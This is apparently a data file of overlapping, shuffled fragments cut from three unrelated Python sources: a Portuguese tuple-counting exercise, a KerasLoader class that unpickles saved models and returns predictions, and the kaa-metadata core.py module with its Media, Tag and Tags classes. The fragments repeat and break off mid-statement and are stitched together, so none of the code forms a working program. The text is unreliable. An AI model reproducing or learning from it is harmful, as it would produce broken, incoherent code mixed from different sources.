"self.scaling_tool: self.scaled_inputs = True else: self.scaled_inputs = False if package[\"system version\"] != str(sys.version):", "else: self.scaled_inputs = False if package[\"system version\"] != str(sys.version): print(\"warning! model was trained", "version\"] != str(sys.version): print(\"warning! model was trained in {}. You're running {}\".format(package[\"system version\"],", "str(keras.__version__): print(\"warning! model was trained on {}. You're running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def", "be same order as training data) :param happening: if set False, returns probability", "object that has been read :return: float between 0 and 1 \"\"\" if", "str(sys.version): print(\"warning! model was trained in {}. You're running {}\".format(package[\"system version\"], str(sys.version))) if", "False, returns probability of event not happening :param override: set to True if", "image = image.astype(\"float\") / 255.0 image = img_to_array(image) image = np.expand_dims(image, axis=0) return", "happening :param override: set to True if you want to override scaling :param", "of inputs (should be same order as training data) :param happening: if set", "has been read :return: float between 0 and 1 \"\"\" if self.convolutional: image", "img_to_array import numpy as np import pickle import keras import sys import cv2", ":param override: set to True if you want to override scaling :param image:", "self.model.predict(image)[0][0] else: if self.scaled_inputs and not override: input_array = self.scaling_tool.transform(input_array) if happening: return", "= cv2.resize(image, (self.dims_one, self.dims_two)) image = image.astype(\"float\") / 255.0 image = img_to_array(image) image", "wrong format no 'sav' found\") package = None self.model = package[\"model\"] self.convolutional =", "if file_path[-3:] == \"sav\": package = pickle.load(open(file_path, \"rb\")) else: print(\"error wrong format no", ":param happening: if set False, returns probability of event not happening :param override:", "= False if package[\"system version\"] != str(sys.version): print(\"warning! model was trained in {}.", "str(keras.__version__))) def calculate(self, input_array=None, happening=True, override=False, image=None): \"\"\" Calculates probability of outcome :param", "keras.preprocessing.image import img_to_array import numpy as np import pickle import keras import sys", "else: if self.scaled_inputs and not override: input_array = self.scaling_tool.transform(input_array) if happening: return self.model.predict([input_array])[0][0]", "array of inputs (should be same order as training data) :param happening: if", "outcome :param input_array: array of inputs (should be same order as training data)", "{}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self, input_array=None, happening=True, override=False, image=None): \"\"\" Calculates probability of", "class KerasLoader: def __init__(self, file_path): if file_path[-3:] == \"sav\": package = pickle.load(open(file_path, \"rb\"))", "if self.convolutional: self.dims_one, self.dims_two = package[\"image dims\"] self.scaling_tool = package[\"scaler\"] if self.scaling_tool: self.scaled_inputs", "self.model = package[\"model\"] self.convolutional = package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two = package[\"image dims\"]", "255.0 image = img_to_array(image) image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else: if self.scaled_inputs", "if self.scaled_inputs and not override: input_array = self.scaling_tool.transform(input_array) if happening: return self.model.predict([input_array])[0][0] else:", "running {}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras Version\"] != str(keras.__version__): print(\"warning! model was trained", "<reponame>deploy-ml/deploy-ml from keras.preprocessing.image import img_to_array import numpy as np import pickle import keras", "!= str(keras.__version__): print(\"warning! model was trained on {}. You're running {}\".format(package[\"Keras Version\"], str(keras.__version__)))", "import keras import sys import cv2 class KerasLoader: def __init__(self, file_path): if file_path[-3:]", "you want to override scaling :param image: image object that has been read", "= package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two = package[\"image dims\"] self.scaling_tool = package[\"scaler\"] if", "self.scaling_tool = package[\"scaler\"] if self.scaling_tool: self.scaled_inputs = True else: self.scaled_inputs = False if", "KerasLoader: def __init__(self, file_path): if file_path[-3:] == \"sav\": package = pickle.load(open(file_path, \"rb\")) else:", "= np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else: if self.scaled_inputs and not override: input_array =", "= package[\"model\"] self.convolutional = package[\"convolutional\"] if self.convolutional: self.dims_one, self.dims_two = package[\"image dims\"] self.scaling_tool", "package = pickle.load(open(file_path, \"rb\")) else: print(\"error wrong format no 'sav' found\") package =", "self.dims_two = package[\"image dims\"] self.scaling_tool = package[\"scaler\"] if self.scaling_tool: self.scaled_inputs = True else:", "calculate(self, input_array=None, happening=True, override=False, image=None): \"\"\" Calculates probability of outcome :param input_array: array", "image = img_to_array(image) image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else: if self.scaled_inputs and", "package[\"Keras Version\"] != str(keras.__version__): print(\"warning! model was trained on {}. You're running {}\".format(package[\"Keras", "self.dims_one, self.dims_two = package[\"image dims\"] self.scaling_tool = package[\"scaler\"] if self.scaling_tool: self.scaled_inputs = True", "Calculates probability of outcome :param input_array: array of inputs (should be same order", "import cv2 class KerasLoader: def __init__(self, file_path): if file_path[-3:] == \"sav\": package =", "self.convolutional: self.dims_one, self.dims_two = package[\"image dims\"] self.scaling_tool = package[\"scaler\"] if self.scaling_tool: self.scaled_inputs =", "of event not happening :param override: set to True if you want to", "str(sys.version))) if package[\"Keras Version\"] != str(keras.__version__): print(\"warning! model was trained on {}. You're", "image = cv2.resize(image, (self.dims_one, self.dims_two)) image = image.astype(\"float\") / 255.0 image = img_to_array(image)", "training data) :param happening: if set False, returns probability of event not happening", "__init__(self, file_path): if file_path[-3:] == \"sav\": package = pickle.load(open(file_path, \"rb\")) else: print(\"error wrong", "probability of outcome :param input_array: array of inputs (should be same order as", "model was trained on {}. You're running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self, input_array=None,", "self.scaled_inputs = False if package[\"system version\"] != str(sys.version): print(\"warning! model was trained in", "and 1 \"\"\" if self.convolutional: image = cv2.resize(image, (self.dims_one, self.dims_two)) image = image.astype(\"float\")", "self.scaled_inputs = True else: self.scaled_inputs = False if package[\"system version\"] != str(sys.version): print(\"warning!", "trained in {}. You're running {}\".format(package[\"system version\"], str(sys.version))) if package[\"Keras Version\"] != str(keras.__version__):", "to True if you want to override scaling :param image: image object that", "format no 'sav' found\") package = None self.model = package[\"model\"] self.convolutional = package[\"convolutional\"]", "image=None): \"\"\" Calculates probability of outcome :param input_array: array of inputs (should be", ":return: float between 0 and 1 \"\"\" if self.convolutional: image = cv2.resize(image, (self.dims_one,", "True if you want to override scaling :param image: image object that has", "version\"], str(sys.version))) if package[\"Keras Version\"] != str(keras.__version__): print(\"warning! model was trained on {}.", "image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] else: if self.scaled_inputs and not override: input_array", "read :return: float between 0 and 1 \"\"\" if self.convolutional: image = cv2.resize(image,", "if self.scaling_tool: self.scaled_inputs = True else: self.scaled_inputs = False if package[\"system version\"] !=", "cv2 class KerasLoader: def __init__(self, file_path): if file_path[-3:] == \"sav\": package = pickle.load(open(file_path,", "self.convolutional: image = cv2.resize(image, (self.dims_one, self.dims_two)) image = image.astype(\"float\") / 255.0 image =", "input_array: array of inputs (should be same order as training data) :param happening:", "= image.astype(\"float\") / 255.0 image = img_to_array(image) image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0]", "pickle import keras import sys import cv2 class KerasLoader: def __init__(self, file_path): if", "Version\"], str(keras.__version__))) def calculate(self, input_array=None, happening=True, override=False, image=None): \"\"\" Calculates probability of outcome", "self.dims_two)) image = image.astype(\"float\") / 255.0 image = img_to_array(image) image = np.expand_dims(image, axis=0)", "been read :return: float between 0 and 1 \"\"\" if self.convolutional: image =", "same order as training data) :param happening: if set False, returns probability of", "found\") package = None self.model = package[\"model\"] self.convolutional = package[\"convolutional\"] if self.convolutional: self.dims_one,", "You're running {}\".format(package[\"Keras Version\"], str(keras.__version__))) def calculate(self, input_array=None, happening=True, override=False, image=None): \"\"\" Calculates", "dims\"] self.scaling_tool = package[\"scaler\"] if self.scaling_tool: self.scaled_inputs = True else: self.scaled_inputs = False", "import sys import cv2 class KerasLoader: def __init__(self, file_path): if file_path[-3:] == \"sav\":", "probability of event not happening :param override: set to True if you want", "(self.dims_one, self.dims_two)) image = image.astype(\"float\") / 255.0 image = img_to_array(image) image = np.expand_dims(image,", "if you want to override scaling :param image: image object that has been", "of outcome :param input_array: array of inputs (should be same order as training", "if package[\"Keras Version\"] != str(keras.__version__): print(\"warning! model was trained on {}. You're running" ]
[ "')), int(input('2º valor: ')), int(input('3º valor: ')), int(input('4º valor: '))) print('Números digitados:', end='", "9 apareceu {tuplanum.count(9)} vez(es)') if 3 not in tuplanum: print('O nº 3 não", "pares digitados:', end=' ') for c in tuplanum: if c % 2 ==", "'))) print('Números digitados:', end=' ') for n in tuplanum: print(n, end=' ') print(f'\\nO", "+ 1}ª posição') print('Valores pares digitados:', end=' ') for c in tuplanum: if", "print('O nº 3 não apareceu em nenhuma posição') else: print(f'O valor 3 apareceu", "posição') print('Valores pares digitados:', end=' ') for c in tuplanum: if c %", "vez(es)') if 3 not in tuplanum: print('O nº 3 não apareceu em nenhuma", "o valor 9. B) Em que posição foi digitado o primeiro valor 3.", "o primeiro valor 3. C) Quais foram os números pares.\"\"\" tuplanum = (int(input('1º", "for n in tuplanum: print(n, end=' ') print(f'\\nO nº 9 apareceu {tuplanum.count(9)} vez(es)')", "final, mostre: A) Quantas vezes apareceu o valor 9. B) Em que posição", "= (int(input('1º valor: ')), int(input('2º valor: ')), int(input('3º valor: ')), int(input('4º valor: ')))", "in tuplanum: print('O nº 3 não apareceu em nenhuma posição') else: print(f'O valor", "apareceu na {tuplanum.index(3) + 1}ª posição') print('Valores pares digitados:', end=' ') for c", "tuplanum: print('O nº 3 não apareceu em nenhuma posição') else: print(f'O valor 3", "end=' ') for c in tuplanum: if c % 2 == 0: print(c,", "posição') else: print(f'O valor 3 apareceu na {tuplanum.index(3) + 1}ª posição') print('Valores pares", "Quantas vezes apareceu o valor 9. B) Em que posição foi digitado o", "primeiro valor 3. C) Quais foram os números pares.\"\"\" tuplanum = (int(input('1º valor:", "que posição foi digitado o primeiro valor 3. C) Quais foram os números", "B) Em que posição foi digitado o primeiro valor 3. C) Quais foram", "quatro valores pelo teclado e guarde-os em uma tupla. No final, mostre: A)", "{tuplanum.count(9)} vez(es)') if 3 not in tuplanum: print('O nº 3 não apareceu em", "valores pelo teclado e guarde-os em uma tupla. No final, mostre: A) Quantas", "tupla. No final, mostre: A) Quantas vezes apareceu o valor 9. B) Em", "valor: ')), int(input('2º valor: ')), int(input('3º valor: ')), int(input('4º valor: '))) print('Números digitados:',", "int(input('3º valor: ')), int(input('4º valor: '))) print('Números digitados:', end=' ') for n in", "A) Quantas vezes apareceu o valor 9. B) Em que posição foi digitado", "valor 9. B) Em que posição foi digitado o primeiro valor 3. C)", "uma tupla. No final, mostre: A) Quantas vezes apareceu o valor 9. B)", "leia quatro valores pelo teclado e guarde-os em uma tupla. No final, mostre:", "3. C) Quais foram os números pares.\"\"\" tuplanum = (int(input('1º valor: ')), int(input('2º", "print(f'O valor 3 apareceu na {tuplanum.index(3) + 1}ª posição') print('Valores pares digitados:', end='", "pelo teclado e guarde-os em uma tupla. No final, mostre: A) Quantas vezes", "print('Números digitados:', end=' ') for n in tuplanum: print(n, end=' ') print(f'\\nO nº", "print(f'\\nO nº 9 apareceu {tuplanum.count(9)} vez(es)') if 3 not in tuplanum: print('O nº", "')), int(input('3º valor: ')), int(input('4º valor: '))) print('Números digitados:', end=' ') for n", "{tuplanum.index(3) + 1}ª posição') print('Valores pares digitados:', end=' ') for c in tuplanum:", "int(input('2º valor: ')), int(input('3º valor: ')), int(input('4º valor: '))) print('Números digitados:', end=' ')", "guarde-os em uma tupla. No final, mostre: A) Quantas vezes apareceu o valor", "if 3 not in tuplanum: print('O nº 3 não apareceu em nenhuma posição')", "os números pares.\"\"\" tuplanum = (int(input('1º valor: ')), int(input('2º valor: ')), int(input('3º valor:", "digitados:', end=' ') for c in tuplanum: if c % 2 == 0:", "') print(f'\\nO nº 9 apareceu {tuplanum.count(9)} vez(es)') if 3 not in tuplanum: print('O", "Em que posição foi digitado o primeiro valor 3. C) Quais foram os", "3 not in tuplanum: print('O nº 3 não apareceu em nenhuma posição') else:", "nº 9 apareceu {tuplanum.count(9)} vez(es)') if 3 not in tuplanum: print('O nº 3", "(int(input('1º valor: ')), int(input('2º valor: ')), int(input('3º valor: ')), int(input('4º valor: '))) print('Números", "posição foi digitado o primeiro valor 3. C) Quais foram os números pares.\"\"\"", "end=' ') for n in tuplanum: print(n, end=' ') print(f'\\nO nº 9 apareceu", "') for c in tuplanum: if c % 2 == 0: print(c, end='", "\"\"\"Desenvolva um programa que leia quatro valores pelo teclado e guarde-os em uma", "Quais foram os números pares.\"\"\" tuplanum = (int(input('1º valor: ')), int(input('2º valor: ')),", "3 apareceu na {tuplanum.index(3) + 1}ª posição') print('Valores pares digitados:', end=' ') for", "valor: '))) print('Números digitados:', end=' ') for n in tuplanum: print(n, end=' ')", "um programa que leia quatro valores pelo teclado e guarde-os em uma tupla.", "tuplanum = (int(input('1º valor: ')), int(input('2º valor: ')), int(input('3º valor: ')), int(input('4º valor:", "not in tuplanum: print('O nº 3 não apareceu em nenhuma posição') else: print(f'O", "C) Quais foram os números pares.\"\"\" tuplanum = (int(input('1º valor: ')), int(input('2º valor:", "3 não apareceu em nenhuma posição') else: print(f'O valor 3 apareceu na {tuplanum.index(3)", "programa que leia quatro valores pelo teclado e guarde-os em uma tupla. No", "apareceu {tuplanum.count(9)} vez(es)') if 3 not in tuplanum: print('O nº 3 não apareceu", "teclado e guarde-os em uma tupla. No final, mostre: A) Quantas vezes apareceu", "não apareceu em nenhuma posição') else: print(f'O valor 3 apareceu na {tuplanum.index(3) +", "end=' ') print(f'\\nO nº 9 apareceu {tuplanum.count(9)} vez(es)') if 3 not in tuplanum:", "') for n in tuplanum: print(n, end=' ') print(f'\\nO nº 9 apareceu {tuplanum.count(9)}", "print('Valores pares digitados:', end=' ') for c in tuplanum: if c % 2", "1}ª posição') print('Valores pares digitados:', end=' ') for c in tuplanum: if c", "pares.\"\"\" tuplanum = (int(input('1º valor: ')), int(input('2º valor: ')), int(input('3º valor: ')), int(input('4º", "valor: ')), int(input('3º valor: ')), int(input('4º valor: '))) print('Números digitados:', end=' ') for", "digitados:', end=' ') for n in tuplanum: print(n, end=' ') print(f'\\nO nº 9", "tuplanum: print(n, end=' ') print(f'\\nO nº 9 apareceu {tuplanum.count(9)} vez(es)') if 3 not", "nenhuma posição') else: print(f'O valor 3 apareceu na {tuplanum.index(3) + 1}ª posição') print('Valores", "9. B) Em que posição foi digitado o primeiro valor 3. C) Quais", "print(n, end=' ') print(f'\\nO nº 9 apareceu {tuplanum.count(9)} vez(es)') if 3 not in", "e guarde-os em uma tupla. No final, mostre: A) Quantas vezes apareceu o", "em uma tupla. No final, mostre: A) Quantas vezes apareceu o valor 9.", "for c in tuplanum: if c % 2 == 0: print(c, end=' ')", "vezes apareceu o valor 9. B) Em que posição foi digitado o primeiro", "in tuplanum: print(n, end=' ') print(f'\\nO nº 9 apareceu {tuplanum.count(9)} vez(es)') if 3", "foram os números pares.\"\"\" tuplanum = (int(input('1º valor: ')), int(input('2º valor: ')), int(input('3º", "else: print(f'O valor 3 apareceu na {tuplanum.index(3) + 1}ª posição') print('Valores pares digitados:',", "em nenhuma posição') else: print(f'O valor 3 apareceu na {tuplanum.index(3) + 1}ª posição')", "digitado o primeiro valor 3. C) Quais foram os números pares.\"\"\" tuplanum =", "apareceu o valor 9. B) Em que posição foi digitado o primeiro valor", "int(input('4º valor: '))) print('Números digitados:', end=' ') for n in tuplanum: print(n, end='", "<filename>ex075.py<gh_stars>0 \"\"\"Desenvolva um programa que leia quatro valores pelo teclado e guarde-os em", "valor: ')), int(input('4º valor: '))) print('Números digitados:', end=' ') for n in tuplanum:", "valor 3. C) Quais foram os números pares.\"\"\" tuplanum = (int(input('1º valor: ')),", "valor 3 apareceu na {tuplanum.index(3) + 1}ª posição') print('Valores pares digitados:', end=' ')", "números pares.\"\"\" tuplanum = (int(input('1º valor: ')), int(input('2º valor: ')), int(input('3º valor: ')),", "No final, mostre: A) Quantas vezes apareceu o valor 9. B) Em que", "mostre: A) Quantas vezes apareceu o valor 9. B) Em que posição foi", "que leia quatro valores pelo teclado e guarde-os em uma tupla. No final,", "apareceu em nenhuma posição') else: print(f'O valor 3 apareceu na {tuplanum.index(3) + 1}ª", "foi digitado o primeiro valor 3. C) Quais foram os números pares.\"\"\" tuplanum", "na {tuplanum.index(3) + 1}ª posição') print('Valores pares digitados:', end=' ') for c in", "n in tuplanum: print(n, end=' ') print(f'\\nO nº 9 apareceu {tuplanum.count(9)} vez(es)') if", "')), int(input('4º valor: '))) print('Números digitados:', end=' ') for n in tuplanum: print(n,", "nº 3 não apareceu em nenhuma posição') else: print(f'O valor 3 apareceu na" ]
[]
[ "or datetime objects for tags that represent dates or times. \"\"\" def __init__(self,", "list(self.tables.items()): mapping = self.table_mapping.get(name, {}) for tag, attr in list(mapping.items()): if self.get(attr): continue", "a child tag COUNTRY that specifies the country code the rating belongs to.", "URL of the source \"\"\" self.url = url def _finalize(self): \"\"\" Correct same", "if isinstance(value, str): setattr(self, key, utils.tostr(value)) if isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0', ''))", "if not self.binary: return '<Tag object: %s>' % repr(self.value) else: return '<Binary Tag", "tables, are more well-defined dicts whose values are # either Tag objects, other", "the value of the given attribute \"\"\" return getattr(self, attr, None) def __setitem__(self,", "[ Media(x) for x in value ] self._set(key, value) return self._keys = self._keys[:]", "self.binary: return '<Tag object: %s>' % repr(self.value) else: return '<Binary Tag object: size=%d>'", "tables if log.level >= 10: for name, table in list(self.tables.items()): result += '+--", "value ] self._set(key, value) return self._keys = self._keys[:] self.tables = {} # Tags,", "('tracks', 'subtitles', 'chapters'): label += ' Track' result += '%s #%d\\n' % (label,", "either # (for multiple instances of the tag, e.g. actor). Where possible, #", "__init__(self, value=None, langcode='und', binary=False): super(Tag, self).__init__() self.value = value self.langcode = langcode self.binary", "import language from . import utils UNPRINTABLE_KEYS = [ 'thumbnail', 'url', 'codec_private' ]", "that handle metadata. Media and its derivates contain a common set of metadata", "tags that represent dates or times. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tag,", "possible, # parsers should transform tag names to conform to the Official #", "\"\"\" Set the URL of the source \"\"\" self.url = url def _finalize(self):", "suffix, show_label): result = '' for n, (name, tag) in enumerate(tags.items()): result +=", "lists.append((key, value)) continue elif isinstance(value, dict): # Tables or tags treated separately. continue", "ANY WARRANTY; without even the implied warranty of MER- # CHANTABILITY or FITNESS", "langcode(self): return self._langcode @langcode.setter def langcode(self, code): self._langcode, self.language = language.resolve(code) class Tags(dict,", "in list(self.tables.items()): mapping = self.table_mapping.get(name, {}) for tag, attr in list(mapping.items()): if self.get(attr):", "of the given attribute \"\"\" return getattr(self, attr, None) def __setitem__(self, key, value):", "Software Foundation; either version 2 of the License, or # (at your option)", "if value is None: continue if key == 'image': if isinstance(value, str): setattr(self,", "lists for key, l in lists: for n, item in enumerate(l): label =", "key in self._keys: self._keys.append(key) def _set_url(self, url): \"\"\" Set the URL of the", "'fourcc' in self._keys and 'codec' in self._keys and self.codec is not None: #", "%s: %s\\n' % (str(key), value) return result def __repr__(self): if hasattr(self, 'url'): return", "and its derivates contain a common set of metadata attributes that is listed", "existing table for k in list(hashmap.keys()): self.tables[name][k] = hashmap[k] def _set(self, key, value):", "'artist', 'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM =", "value in list(table.items()): try: value = str(value) if len(value) > 50: value =", "if not, write to the Free Software Foundation, Inc., # 59 Temple Place,", "isinstance(value, str): value = utils.tostr(str(value)) elif isinstance(value, str): value = utils.tostr(value) value =", "# internal functions # def _appendtable(self, name, hashmap): \"\"\" Appends a tables of", "PURPOSE. See the GNU General # Public License for more details. # #", "str(value) if len(value) > 50: value = '<unprintable data, size=%d>' % len(value) except", "result += '| %10s: %s\\n' % (str(key), str(value)) # print tags (recursively, to", "as published by # the Free Software Foundation; either version 2 of the", "in value ] result[k] = value return result def keys(self): \"\"\" Return all", "also point or minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def", "self._keys: if key in UNPRINTABLE_KEYS: continue value = getattr(self, key) if value is", "other Tags objects (for nested tags), lists, or Tag objects. A Tags object", "'' for n, (name, tag) in enumerate(tags.items()): result += '| %12s%s%s = '", "Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The attribute RATING has", "already existing table for k in list(hashmap.keys()): self.tables[name][k] = hashmap[k] def _set(self, key,", "if isinstance(value, str): setattr(self, key, utils.tobytes(value)) continue if isinstance(value, str): setattr(self, key, utils.tostr(value))", "Media): for submenu in value: submenu._finalize() # copy needed tags from tables for", "'<unprintable data, size=%d>' % len(value) except (UnicodeDecodeError, TypeError) as e: try: value =", "objects, or datetime objects for tags that represent dates or times. \"\"\" def", "None or key == 'url': continue if isinstance(value, list): if not value: continue", "data, size=%d>' % len(value) result += '| %10s: %s\\n' % (str(key), str(value)) #", "UNPRINTABLE_KEYS = [ 'thumbnail', 'url', 'codec_private' ] # media type definitions MEDIA_AUDIO =", "value = '<unprintable data, size=%d>' % len(value) except AttributeError: value = '<unprintable data>'", "derivates contain additional keys to the dublin core set that is defined in", "the file AUTHORS for a complete list of authors. # # This program", "multiple instances of the tag, e.g. actor). Where possible, # parsers should transform", "Specific derivates contain additional keys to the dublin core set that is defined", "handle metadata. Media and its derivates contain a common set of metadata attributes", "# You should have received a copy of the GNU General Public License", "data access # def __contains__(self, key): \"\"\" Test if key exists in the", "to the internal keys list if missing. \"\"\" if value is None and", "# # Please see the file AUTHORS for a complete list of authors.", "but it also contains a value. This is necessary in order to represent", "key, value in list(table.items()): try: value = str(value) if len(value) > 50: value", "# # unicode and string convertion for debugging # def __str__(self): result =", "keys. Specific derivates contain additional keys to the dublin core set that is", "coding: iso-8859-1 -*- # ----------------------------------------------------------------------------- # core.py # ----------------------------------------------------------------------------- # $Id$ # #", "'default'. \"\"\" return getattr(self, attr, default) def __getitem__(self, attr): \"\"\" Get the value", "value and add the key to the internal keys list if missing. \"\"\"", "actor). Where possible, # parsers should transform tag names to conform to the", "str(value)) # print tags (recursively, to support nested tags). def print_tags(tags, suffix, show_label):", "object is more or less a dictionary but it also contains a value.", "the internal keys list if missing. \"\"\" if value is None and getattr(self,", "was activated \"\"\" return _features[feature][0] def feature_config(feature): \"\"\" Returns the configuration of the", "normal attributes lists = [] for key in self._keys: value = getattr(self, key,", "GNU General Public License as published by # the Free Software Foundation; either", "or minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def enable_feature(var, value=None):", "'%s #%d\\n' % (label, n+1) result += '| ' + re.sub(r'\\n(.)', r'\\n| \\1',", "value = value.strip().rstrip().replace('\\0', '') setattr(self, attr, value) if 'fourcc' in self._keys and 'codec'", "a common set of metadata attributes that is listed in keys. Specific derivates", "'tags', 'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM = 'stream' # get", "str): value = utils.tostr(value) value = value.strip().rstrip().replace('\\0', '') setattr(self, attr, value) if 'fourcc'", "it also contains a value. This is necessary in order to represent this", "'type', 'subtype', 'timestamp', 'keywords', 'country', 'language', 'langcode', 'url', 'media', 'artist', 'mime', 'datetime', 'tags',", "\"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tag, self).__init__() self.value = value self.langcode =", "string convertion for debugging # def __str__(self): result = '' # print normal", "in the # style of 'series 1x01 episode' and 'series s1e01 episode' where", "'<%s>' % (str(self.__class__)[8:-2]) # # internal functions # def _appendtable(self, name, hashmap): \"\"\"", "result += print_tags(self.tags, '', True) # print lists for key, l in lists:", "label = '+-- ' + key.rstrip('s').capitalize() if key not in ('tracks', 'subtitles', 'chapters'):", "% (str(key), str(value)) # print tags (recursively, to support nested tags). def print_tags(tags,", "re import logging from . import fourcc from . import language from .", "# (at your option) any later version. # # This program is distributed", "table in list(self.tables.items()): result += '+-- Table %s\\n' % str(name) for key, value", "defined in the _feature variable. Some feature have a value. These values are", "% len(value) result += '| %10s: %s\\n' % (str(key), str(value)) # print tags", "utils.tostr(value)) if isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0', '')) if isinstance(value, list) and value", "\"\"\" List all optional features \"\"\" return list(_features.keys()) def feature_enabled(feature): \"\"\" Returns if", "# it under the terms of the GNU General Public License as published", "value self.langcode = langcode self.binary = binary def __unicode__(self): return str(self.value) def __str__(self):", "matches names in the # style of 'series 1x01 episode' and 'series s1e01", "None) if value == None or key == 'url': continue if isinstance(value, list):", "- Media Metadata for Python # Copyright (C) 2003-2006 <NAME>, <NAME> # #", "and isinstance(value[0], Media): value = [ x.convert() for x in value ] result[k]", "# the Free Software Foundation; either version 2 of the License, or #", "= value def features(): \"\"\" List all optional features \"\"\" return list(_features.keys()) def", "unicode objects, or datetime objects for tags that represent dates or times. \"\"\"", "less a dictionary but it also contains a value. This is necessary in", "a value (PG), but it also has a child tag COUNTRY that specifies", "hasattr(self, 'url'): return '<%s %s>' % (str(self.__class__)[8:-2], self.url) else: return '<%s>' % (str(self.__class__)[8:-2])", "isinstance(value, list) and value and isinstance(value[0], Media): value = [ x.convert() for x", "(C) 2003-2006 <NAME>, <NAME> # # First Edition: <NAME> <<EMAIL>> # Maintainer: <NAME>", "continue if isinstance(value, str): setattr(self, key, utils.tostr(value)) if isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0',", "contains a value. This is necessary in order to represent this kind of", "tag COUNTRY that specifies the country code the rating belongs to. \"\"\" def", "key in UNPRINTABLE_KEYS: continue value = getattr(self, key) if value is None: continue", "binary def __unicode__(self): return str(self.value) def __str__(self): return str(self.value) def __repr__(self): if not", "= ['title', 'caption', 'comment', 'size', 'type', 'subtype', 'timestamp', 'keywords', 'country', 'language', 'langcode', 'url',", "# # ----------------------------------------------------------------------------- # python imports import re import logging from . import", "def features(): \"\"\" List all optional features \"\"\" return list(_features.keys()) def feature_enabled(feature): \"\"\"", "= 'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM = 'stream' # get logging object log", "are set to reasonable default values but can be overwritten by setting the", "be a fourcc, in which case we resolve it to its actual #", "isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0', '')) if isinstance(value, list) and value and isinstance(value[0],", "50: value = '<unprintable data, size=%d>' % len(value) except (UnicodeDecodeError, TypeError) as e:", "tags from tables for name, table in list(self.tables.items()): mapping = self.table_mapping.get(name, {}) for", "if isinstance(tag, dict): result += print_tags(tag, ' ', False) return result result +=", "if value == None or key == 'url': continue if isinstance(value, list): if", "def __str__(self): return str(self.value) def __repr__(self): if not self.binary: return '<Tag object: %s>'", "# ----------------------------------------------------------------------------- # $Id$ # # ----------------------------------------------------------------------------- # kaa-Metadata - Media Metadata for", "None) if isinstance(value, list) and value and isinstance(value[0], Media): value = [ x.convert()", "Media(x) for x in value ] self._set(key, value) return self._keys = self._keys[:] self.tables", "__contains__(self, key): \"\"\" Test if key exists in the dict \"\"\" return hasattr(self,", "Containers. It defines the basic structures that handle metadata. Media and its derivates", "value) def has_key(self, key): \"\"\" Check if the object has an attribute 'key'", "continue elif isinstance(value[0], str): # Just a list of strings (keywords?), so don't", "all optional features \"\"\" return list(_features.keys()) def feature_enabled(feature): \"\"\" Returns if a feature", "These values are set to reasonable default values but can be overwritten by", "def __unicode__(self): return str(self.value) def __str__(self): return str(self.value) def __repr__(self): if not self.binary:", "attribute. self.fourcc, self.codec = fourcc.resolve(self.codec) if 'language' in self._keys: self.langcode, self.language = language.resolve(self.language)", "\"\"\" Set the value of 'key' to 'value' \"\"\" setattr(self, key, value) def", "Media. \"\"\" _keys = MEDIACORE table_mapping = {} def __init__(self, hash=None): if hash", "# This program is free software; you can redistribute it and/or modify #", "the given attribute. If the attribute is not set by the parser return", "create Media based on dict for key, value in list(hash.items()): if isinstance(value, list)", "from . import utils UNPRINTABLE_KEYS = [ 'thumbnail', 'url', 'codec_private' ] # media", "this program; if not, write to the Free Software Foundation, Inc., # 59", "features(): \"\"\" List all optional features \"\"\" return list(_features.keys()) def feature_enabled(feature): \"\"\" Returns", "that specifies the country code the rating belongs to. \"\"\" def __init__(self, value=None,", "DVD, Directory, Playlist \"\"\" _keys = Media._keys + [ 'id', 'tracks' ] def", "'(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def enable_feature(var, value=None): \"\"\" Enable optional features defined", "str): # Just a list of strings (keywords?), so don't treat it specially.", "'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE = ['title', 'caption', 'comment', 'size', 'type', 'subtype', 'timestamp',", "value = utils.tostr(value) value = value.strip().rstrip().replace('\\0', '') setattr(self, attr, value) if 'fourcc' in", "also contains a value. This is necessary in order to represent this kind", "class to all Media Metadata Containers. It defines the basic structures that handle", "Metadata Containers. It defines the basic structures that handle metadata. Media and its", "of the source \"\"\" self.url = url def _finalize(self): \"\"\" Correct same data", "Tags(dict, Tag): \"\"\" A dictionary containing Tag objects. Values can be other Tags", "it will be useful, but # WITHOUT ANY WARRANTY; without even the implied", "enumerate(tags.items()): result += '| %12s%s%s = ' % ('tags: ' if n ==", "Tags, unlike tables, are more well-defined dicts whose values are # either Tag", "key) def convert(self): \"\"\" Convert Media to dict. \"\"\" result = {} for", "Return all keys for the attributes set by the parser. \"\"\" return self._keys", "'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER'", "authors. # # This program is free software; you can redistribute it and/or", "for more details. # 